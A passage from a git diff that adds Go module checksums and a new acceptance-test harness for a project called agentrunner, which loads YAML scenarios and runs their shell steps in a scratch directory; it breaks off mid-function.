v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= +github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/google/jsonschema-go v0.4.3 h1:/DBOLZTfDow7pe2GmaJNhltueGTtDKICi8V8p+DQPd0= +github.com/google/jsonschema-go v0.4.3/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE= +github.com/google/s2a-go v0.1.8 h1:zZDs9gcbt9ZPLV0ndSyQk6Kacx2g/X+SKYovpnz3SMM= +github.com/google/s2a-go v0.1.8/go.mod h1:6iNWHTpQ+nfNRN5E00MSdfDwVesa8hhS32PhPO8deJA= +github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/enterprise-certificate-proxy v0.3.4 h1:XYIDZApgAnrN1c855gTgghdIA6Stxb52D5RnLI1SLyw= +github.com/googleapis/enterprise-certificate-proxy v0.3.4/go.mod h1:YKe7cfqYXjKGpGvmSg28/fFvhNzinZQm8DGnaburhGA= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/invopop/jsonschema v0.14.0 h1:MHQqLhvpNUZfw+hM3AZDYK7jxO8FZoQeQM77g8iyZjg= +github.com/invopop/jsonschema v0.14.0/go.mod h1:ygm6C2EaVNMBDPpaPlnOA2pFAxBnxGjFlMZABxm9n2I= +github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY= +github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4= +github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88= +github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc= +github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/modelcontextprotocol/go-sdk v1.6.1 h1:0zOSupjKUxPKSocPT1Wtago+mUHU2/uZ4xSOY0FGReU= +github.com/modelcontextprotocol/go-sdk v1.6.1/go.mod h1:kzm3kzFL1/+AziGOE0nUs3gvPoNxMCvkxokMkuFapXQ= +github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 h1:ZK8zHtRHOkbHy6Mmr5D264iyp3TiX5OmNcI5cIARiQI= +github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6/go.mod h1:CJlz5H+gyd6CUWT45Oy4q24RdLyn7Md9Vj2/ldJBSIo= +github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA= +github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo= +github.com/muesli/termenv v0.16.0 h1:S5AlUN9dENB57rsbnkPyfdGuWIlkmzJjbFf0Tf5FWUc= +github.com/muesli/termenv v0.16.0/go.mod h1:ZRfOIKPFDYQoDFF4Olj7/QJbW60Ol/kL1pU3VfY/Cnk= +github.com/pb33f/ordered-map/v2 v2.3.1 h1:5319HDO0aw4DA4gzi+zv4FXU9UlSs3xGZ40wcP1nBjY= +github.com/pb33f/ordered-map/v2 v2.3.1/go.mod h1:qxFQgd0PkVUtOMCkTapqotNgzRhMPL7VvaHKbd1HnmQ= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= +github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= +github.com/segmentio/asm v1.1.3 h1:WM03sfUOENvvKexOLp+pCqgb/WDjsi7EK8gIsICtzhc= +github.com/segmentio/asm v1.1.3/go.mod h1:Ld3L4ZXGNcSLRg4JBsZ3//1+f/TjYl0Mzen/DQy1EJg= +github.com/segmentio/encoding v0.5.4 h1:OW1VRern8Nw6ITAtwSZ7Idrl3MXCFwXHPgqESYfvNt0= +github.com/segmentio/encoding v0.5.4/go.mod h1:HS1ZKa3kSN32ZHVZ7ZLPLXWvOVIiZtyJnO1gPH1sKt0= +github.com/standard-webhooks/standard-webhooks/libraries v0.0.1 h1:uOfcYT+3QungH6tIGSVCR/Y3KJmgJiHcojJbMTPDZAI= +github.com/standard-webhooks/standard-webhooks/libraries v0.0.1/go.mod h1:L1MQhA6x4dn9r007T033lsaZMv9EmBAdXyU/+EF40fo= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/tidwall/gjson v1.14.2/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= +github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= +github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= +github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= +github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= +github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= +github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4= +github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= +github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY= +github.com/tidwall/sjson v1.2.5/go.mod h1:Fvgq9kS/6ociJEDnK0Fk1cpYF4FIW6ZF7LAe+6jwd28= +github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no= +github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM= +github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4= +github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4= +go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0= +go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= +go.yaml.in/yaml/v4 v4.0.0-rc.2 h1:/FrI8D64VSr4HtGIlUtlFMGsm7H7pWTbj6vOLVZcA6s= +go.yaml.in/yaml/v4 v4.0.0-rc.2/go.mod h1:aZqd9kCMsGL7AuUv/m/PvWLdg5sjJsZ4oHDEnfPPfY0= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.40.0 h1:r4x+VvoG5Fm+eJcxMaY8CQM7Lb0l1lsmjGBQ6s8BfKM= +golang.org/x/crypto v0.40.0/go.mod h1:Qr1vMER5WyS2dfPHAlsOj01wgLbsyWtFn/aY+5+ZdxY= +golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20220909182711-5c715a9e8561 h1:MDc5xs78ZrZr3HMQugiXOAkSZtfTpbJLDr/lwfgO53E= +golang.org/x/exp v0.0.0-20220909182711-5c715a9e8561/go.mod h1:cyybsKvd6eL0RnXn6p/Grxp8F5bW7iYuBgsNCOHpMYE= +golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= +golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.41.0 h1:vBTly1HeNPEn3wtREYfy4GZ/NECgw2Cnl+nK6Nz3uvw= +golang.org/x/net v0.41.0/go.mod h1:B/K4NNqkfmg07DQYrbwvSluqCJOOXwUjeb/5lOisjbA= +golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= +golang.org/x/oauth2 v0.35.0 h1:Mv2mzuHuZuY2+bkyWXIHMfhNdJAdwW3FuWeCPYN5GVQ= +golang.org/x/oauth2 v0.35.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.16.0 h1:ycBJEhp9p4vXvUZNszeOq0kGTPghopOL8q0fq3vstxw= +golang.org/x/sync v0.16.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= +golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw= +golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/term v0.44.0 h1:0rLvDRCtNj0gZkyIXhCyOb2OAzEhLVqc4B+hrsBhrmc= +golang.org/x/term v0.44.0/go.mod h1:7ze4MdzUzLXpSAoFP1H0bOI9aXDqveSvatT5vKcFh2Y= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.27.0 h1:4fGWRpyh641NLlecmyl4LOe6yDdfaYNrGb2zdfo4JV4= +golang.org/x/text v0.27.0/go.mod h1:1D28KMCvyooCX9hBiosv5Tz/+YLxj0j7XhWjpSUF7CU= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.42.0 h1:uNgphsn75Tdz5Ji2q36v/nsFSfR/9BRFvqhGBaJGd5k= +golang.org/x/tools v0.42.0/go.mod h1:Ma6lCIwGZvHK6XtgbswSoWroEkhugApmsXyrUmBhfr0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= +google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/genai v1.62.0 h1:PaBju84orf4Vbcc6OfHe4vxhxhjwulKTgOpEc3iIc00= +google.golang.org/genai v1.62.0/go.mod h1:mDdPDFXo1Ats7f1WXVyZgWb/CkMzFWTWJruIMy7hGIU= +google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 h1:pPJltXNxVzT4pK9yD8vR9X75DaWYYmLGMsEvBfFQZzQ= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1/go.mod h1:UqMtugtsSgubUsoxbuAoiCXvqvErP7Gf0so0mK9tHxU= +google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= +google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= +google.golang.org/grpc v1.66.2 h1:3QdXkuq3Bkh7w+ywLdLvM56cmGvQHUMZpiCzt6Rqaoo= +google.golang.org/grpc v1.66.2/go.mod h1:s3/l6xSSCURdVfAnL+TqCNMyTDAGN6+lZeVxnZR128Y= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= +google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10= +gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= diff --git a/internal/accept/accept.go b/internal/accept/accept.go new file mode 100644 index 0000000..01fc57b --- /dev/null +++ b/internal/accept/accept.go @@ -0,0 +1,319 @@ +// Package accept is the acceptance-test harness (PLAN 0.6): stage +// completion criteria as executable, human-readable scenarios with a TUI / +// plain renderer and a JSON report. +package accept + +import ( + "bytes" + "embed" + "encoding/json" + "fmt" + "io/fs" + "os" + "os/exec" + "path/filepath" + "sort" + "strings" + "time" + + "gopkg.in/yaml.v3" + + "github.com/ralphite/agentrunner/internal/event" +) + +//go:embed scenarios/s*/*.yaml +var scenariosFS embed.FS + +// Scenario is one executable acceptance case (data, human-readable title). +type Scenario struct { + ID string `yaml:"id"` + Title string `yaml:"title"` + Requires []string `yaml:"requires,omitempty"` // "live" | "testbed" + Files map[string]string `yaml:"files,omitempty"` // written into SCRATCH before steps + Steps []Step `yaml:"steps"` + Expect []Expect `yaml:"expect"` +} + +// Step runs one shell command in the scratch dir. +type Step struct { + Run string `yaml:"run"` +} + +// Expect is one assertion; exactly one field is set. +type Expect struct { + ExitCode *int `yaml:"exit_code,omitempty"` // of the last step + OutputContains string `yaml:"output_contains,omitempty"` // across all steps + FileContains *FileExpect `yaml:"file_contains,omitempty"` + EventsValid string `yaml:"events_valid,omitempty"` // glob under SCRATCH +} + +// FileExpect asserts file content under SCRATCH. +type FileExpect struct { + Path string `yaml:"path"` + Text string `yaml:"text"` +} + +// Status of one scenario run. +type Status string + +const ( + StatusPass Status = "PASS" + StatusFail Status = "FAIL" + StatusSkipped Status = "SKIPPED" + StatusAborted Status = "ABORTED" // scenario never ran (user quit the TUI) +) + +// Result is the outcome of one scenario. +type Result struct { + ID string `json:"id"` + Title string `json:"title"` + Status Status `json:"status"` + Duration time.Duration `json:"duration_ns"` + Detail string `json:"detail,omitempty"` // failure reason / skip reason / output tail +} + +// LoadStage reads the embedded scenarios for one stage, sorted by id. +func LoadStage(stage int) ([]Scenario, error) { + dir := fmt.Sprintf("scenarios/s%d", stage) + entries, err := fs.ReadDir(scenariosFS, dir) + if err != nil { + return nil, fmt.Errorf("no acceptance scenarios for stage %d", stage) + } + var scenarios []Scenario + for _, e := range entries { + raw, err := scenariosFS.ReadFile(dir + "/" + e.Name()) + if err != nil { + return nil, err + } + s, err := parseScenario(e.Name(), raw) + if err != nil { + return nil, err + } + scenarios = append(scenarios, s) + } + sort.Slice(scenarios, func(i, j int) bool { return scenarios[i].ID < scenarios[j].ID }) + return scenarios, nil +} + +// parseScenario decodes strictly (unknown keys are errors — a typo'd expect +// key must never become a silently-passing zero assertion) and validates +// that every Expect sets exactly one field. +func parseScenario(name string, raw []byte) (Scenario, error) { + var s Scenario + dec := yaml.NewDecoder(bytes.NewReader(raw)) + dec.KnownFields(true) + if err := dec.Decode(&s); err != nil { + return Scenario{}, fmt.Errorf("scenario %s: %v", name, err) + } + if s.ID == "" || s.Title == "" || len(s.Steps) == 0 || len(s.Expect) == 0 { + return Scenario{}, fmt.Errorf("scenario %s: id/title/steps/expect are required", name) + } + for i, exp := range s.Expect { + if n := exp.fieldsSet(); n != 1 { + return Scenario{}, fmt.Errorf("scenario %s: expect[%d] must set exactly one assertion, has %d", name, i, n) + } + } + return s, nil +} + +func (e Expect) fieldsSet() int { + n := 0 + if e.ExitCode != nil { + n++ + } + if e.OutputContains != "" { + n++ + } + if e.FileContains != nil { + n++ + } + if e.EventsValid != "" { + n++ + } + return n +} + +// Runner executes scenarios against a built agentrunner binary. +type Runner struct { + Bin string // path to the agentrunner binary (os.Executable for the CLI) +} + +// Run executes one scenario in a fresh scratch dir. +func (r *Runner) Run(s Scenario) Result { + start := time.Now() + res := Result{ID: s.ID, Title: s.Title} + + if reason, skip := r.shouldSkip(s); skip { + res.Status = StatusSkipped + res.Detail = reason + res.Duration = time.Since(start) + return res + } + + scratch, err := os.MkdirTemp("", "accept-"+s.ID+"-") + if err != nil { + return r.fail(res, start, "scratch dir: "+err.Error(), "") + } + defer func() { _ = os.RemoveAll(scratch) }() + + for path, content := range s.Files { + full := filepath.Join(scratch, path) + if err := os.MkdirAll(filepath.Dir(full), 0o755); err != nil { + return r.fail(res, start, err.Error(), "") + } + if err := os.WriteFile(full, []byte(content), 0o644); err != nil { + return r.fail(res, start, err.Error(), "") + } + } + + var allOutput strings.Builder + lastExit := 0 + for i, step := range s.Steps { + cmd := exec.Command("sh", "-c", step.Run) + cmd.Dir = scratch + cmd.Env = append(os.Environ(), + "BIN="+r.Bin, + "SCRATCH="+scratch, + "XDG_DATA_HOME="+filepath.Join(scratch, "xdg"), + ) + out, err := cmd.CombinedOutput() + allOutput.Write(out) + lastExit = cmd.ProcessState.ExitCode() + if err != nil && i < len(s.Steps)-1 { + // Intermediate steps must succeed; only the last step's exit + // code is subject to expectations. + return r.fail(res, start, fmt.Sprintf("step %d failed: %v", i+1, err), allOutput.String()) + } + } + + for _, exp := range s.Expect { + if msg := checkExpect(exp, scratch, allOutput.String(), lastExit); msg != "" { + return r.fail(res, start, msg, allOutput.String()) + } + } + + res.Status = StatusPass + res.Duration = time.Since(start) + return res +} + +func (r *Runner) shouldSkip(s Scenario) (string, bool) { + for _, req := range s.Requires { + switch req { + case "live": + if 